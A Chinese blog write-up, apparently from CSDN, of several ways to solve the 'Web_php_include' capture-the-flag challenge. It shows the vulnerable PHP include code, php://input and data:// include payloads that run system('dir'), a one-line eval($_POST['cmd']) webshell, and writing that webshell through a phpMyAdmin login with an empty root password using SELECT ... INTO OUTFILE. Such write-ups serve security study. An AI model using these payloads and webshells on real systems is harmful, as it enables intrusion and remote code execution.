攻防世界 Web_php_include的多种解法(含相关的伪协议用法)

攻防世界 Web_php_include的多种解法

在刷攻防世界题目的时候,发现这道题可以有很多解法哦,所以写个小总结记录一下。(如有不对,大佬们轻点喷)

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
关于绕过函数str_replace的方法

1.大小写绕过
2. 双写绕过
一. 下面以大小写绕过为例:
使用burp
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
这是可以看到fl4gisisish3r3.php文件,然后读文件:
在这里插入图片描述
二. 利用php://input协议写入一句话木马
在这里插入图片描述
Tips:linux默认tmp是可写目录,所以尝试一句话,然后蚁剑连接,即可看到文件。
在这里插入图片描述
三.当过滤了php://的伪协议,我们可以使用data://伪协议
data:// 同样类似与php://input,可以让用户来控制输入流,如果传入的数据是PHP代码,导致任意代码执行。
payload:

http://220.249.52.133:40425/?page=data:text/plain,<?php system('dir'); ?>
http://220.249.52.133:40425/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTsgPz4=

四. 数据库写入一句话木马
通过御剑扫描出目录:

http://220.249.52.133:40425/phpmyadmin/index.php

尝试用弱密码登录,username是root;password为空
先在sql查询窗口执行SHOW VARIABLES LIKE "secure_file_priv"
检查secure_file_priv是否为空,为空则可以写 如果是null表示不能写数据
在这里插入图片描述
然后写入一句话,成功执行,蚁剑连接

SELECT "<?php eval(@$_POST['cmd']); ?>"
INTO OUTFILE '/tmp/test.php'

在这里插入图片描述
相关参考链接:

https://blog.csdn.net/qq_42181428/article/details/87090539?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值